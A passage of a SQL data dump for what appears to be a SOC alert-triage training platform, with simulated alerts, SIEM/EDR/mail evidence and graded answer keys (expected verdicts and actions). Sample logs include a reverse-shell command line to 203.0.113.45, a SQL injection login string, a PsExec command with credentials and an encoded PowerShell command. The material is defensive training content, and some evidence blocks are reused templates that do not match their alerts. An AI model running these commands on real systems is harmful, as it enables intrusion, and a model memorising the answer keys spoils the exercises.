mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T06:30:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\tools\\\\\\\\PsExec.exe \\\\\\\\\\\\\\\\10.0.0.25 -u admin_user -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.351Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T06:30:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\tools\\\\\\\\PsExec.exe \\\\\\\\\\\\\\\\10.0.0.25 -u admin_user -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.351Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T06:30:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\tools\\\\\\\\PsExec.exe \\\\\\\\\\\\\\\\10.0.0.25 -u admin_user -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.351Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T06:30:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\tools\\\\\\\\PsExec.exe \\\\\\\\\\\\\\\\10.0.0.25 -u admin_user -p password cmd\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(707, 'Brute Force Login Attempt Detected', 'high', 'Splunk', 'Multiple failed login attempts detected from a known malicious IP address. The source is from a foreign location.', 'Credential Attack', 'T1110', 1, 'Investigating', 52, '{\"timestamp\":\"2026-01-11T08:45:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"corp-server-01\",\"failed_attempts\":35}', '2026-01-09 17:39:12', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Valid internal username\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The number of failed attempts and the source IP\'s malicious history confirm this as a brute force attack.\"}', 'Novice', 'SIEM', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.353Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:31:22.353Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:30:22.353Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:29:22.353Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:28:22.353Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(708, 'Malware Detected on Endpoint', 'critical', 'CrowdStrike', 'A known malware signature was detected on an endpoint. The malware has a high detection rate on VirusTotal.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T09:30:15Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"hostname\":\"workstation-02\",\"command_line\":\"C:\\\\malicious\\\\malware.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-10 06:01:10', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 60/70 AV engines\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\malicious\\\\malware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"CrowdStrike\",\"verdict\":\"malicious\",\"details\":\"Confirmed execution of known malware\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The hash is widely recognized as malicious, indicating a confirmed malware infection.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(709, 'Phishing Email with Malicious Link Detected', 'medium', 'Proofpoint', 'A phishing email was detected with a link leading to a known malicious site.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T10:20:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.85\",\"email_sender\":\"phisher@malicious.com\",\"url\":\"http://malicious-site.com/fake-login\",\"username\":\"jdoe\",\"hostname\":\"user-laptop-03\"}', '2026-01-10 16:11:58', '2026-02-15 05:02:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"phisher@malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Proofpoint\",\"verdict\":\"malicious\",\"details\":\"Known phishing campaign sender\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-site.com/fake-login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Site hosting phishing login page\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.85\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to multiple phishing sites\"}}],\"expected_actions\":[\"block_url\",\"close_alert\",\"user_education\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a link to a known phishing site, confirming the phishing attempt.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious Link Detected\",\"date\":\"2026-02-01T20:32:22.355Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(710, 'Suspicious Network Activity Detected', 'low', 'Firewall', 'An unusual spike in outbound traffic was detected from an internal server, but no malicious activity was confirmed.', 'Data Exfiltration', 'T1041', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T11:15:50Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"203.0.113.200\",\"hostname\":\"internal-server-01\",\"bytes_sent\":5000000}', '2026-01-09 23:38:05', '2026-02-13 18:56:41', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal server IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP observed in benign traffic, no confirmed malicious reports\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Traffic was determined to be a legitimate data transfer after further analysis.\"}', 'Novice', 'NDR', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(711, 'APT41 Command Injection Detected', 'high', 'Wazuh', 'A command injection attempt was identified on a web server. The attacker executed a shell command which could allow them to gain unauthorized access to the system.', 'Web Attack', 'T1059', 1, 'closed', NULL, '{\"timestamp\":\"2026-01-11T08:45:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.15\",\"username\":\"webadmin\",\"hostname\":\"web-server-01\",\"command_line\":\"curl http://malicious-site.com; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1\"}', '2026-01-09 18:42:52', '2026-02-16 02:42:03', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"curl http://malicious-site.com; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command injection detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The presence of a command injection attempt with a known malicious IP confirms the alert as true positive.\"}', 'Beginner', 'EDR', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.357Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"web-server-01\\\",\\\"command_line\\\":\\\"curl http://malicious-site.com; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.357Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"web-server-01\\\",\\\"command_line\\\":\\\"curl http://malicious-site.com; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.357Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"web-server-01\\\",\\\"command_line\\\":\\\"curl http://malicious-site.com; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.357Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"web-server-01\\\",\\\"command_line\\\":\\\"curl http://malicious-site.com; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.357Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"web-server-01\\\",\\\"command_line\\\":\\\"curl http://malicious-site.com; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(712, 'Spear-Phishing Attempt by APT29', 'medium', 'Proofpoint', 'A spear-phishing email was detected targeting the finance department. It included a link to a credential harvesting site.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T10:15:47Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.22\",\"username\":\"j.doe@company.com\",\"hostname\":\"mail-server-01\",\"email_sender\":\"finance@trusted-source.com\",\"url\":\"http://malicious-link.com/login\"}', '2026-01-10 20:11:25', '2026-02-22 14:40:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"finance@trusted-source.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"suspicious\",\"details\":\"Domain used in multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL classified as phishing site\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The phishing URL and suspicious sender email confirm the phishing attempt, marking it as true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear-Phishing Attempt by APT29\",\"date\":\"2026-02-01T20:32:22.358Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(713, 'Failed Login Attempts from Unusual Location', 'low', 'Splunk', 'Multiple failed login attempts detected for user \'admin\' from a foreign IP address indicating potential brute force attack.', 'Credential Attack', 'T1078', 0, 'Closed', 210, '{\"timestamp\":\"2026-01-11T14:22:59Z\",\"event_type\":\"login_failure\",\"src_ip\":\"212.47.229.1\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"auth-server-01\",\"failed_attempts\":15}', '2026-01-09 22:20:35', '2026-02-26 21:56:46', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"212.47.229.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP involved in multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Standard admin account for internal systems\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The failed login attempts from a suspicious IP suggest a brute force attack, making it a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.359Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:22:59Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"212.47.229.1\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server-01\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:31:22.359Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:22:59Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"212.47.229.1\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server-01\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:30:22.359Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:22:59Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"212.47.229.1\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server-01\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:29:22.359Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:22:59Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"212.47.229.1\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server-01\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:28:22.359Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:22:59Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"212.47.229.1\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server-01\\\",\\\"failed_attempts\\\":15}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(714, 'Suspicious Network Activity Detected (False Positive)', 'medium', 'Firewall', 'Unusual network traffic was detected from an internal IP to an external cloud service. Further investigation reveals this as legitimate user activity.', 'Network Anomaly', 'T1078', 0, 'investigating', NULL, '{\"timestamp\":\"2026-01-11T16:30:12Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"52.34.67.89\",\"username\":\"m.smith\",\"hostname\":\"user-pc-02\",\"domain\":\"cloud-storage.com\"}', '2026-01-10 13:30:15', '2026-03-04 16:08:41', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"cloud-storage.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate cloud storage service\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_activity\",\"analysis_notes\":\"The traffic was confirmed to be legitimate access to a known cloud service by an authorized user, hence a false positive.\"}', 'Beginner', 'NDR', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(715, 'Malicious File Execution Detected', 'high', 'CrowdStrike', 'A suspicious process was executed on the host, potentially linked to APT41 activity. The process resembles known malware used for data exfiltration.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"host-001\",\"command_line\":\"powershell.exe -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAYwBvAG0AbQBhAG4AZAAgAC0AZQBuAGMAbwBkAGUAZABiAHkAdABlAHMAPQAiAFsAMgAsADIANgAsADIAOAAsADMAQgAsADQALAAxADgALAAxADcALAAxADkALAAyADAALAAzADkALAAxADkALAAyADAALAA5ADUALAA5ADUALAA5ADMAIgBdAA==\",\"file_hash\":\"3fa4e4bd6a8f7a8c5b2aabc1d7b9f4d2\"}', '2026-01-11 07:59:37', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3fa4e4bd6a8f7a8c5b2aabc1d7b9f4d2\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT41 malware\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand 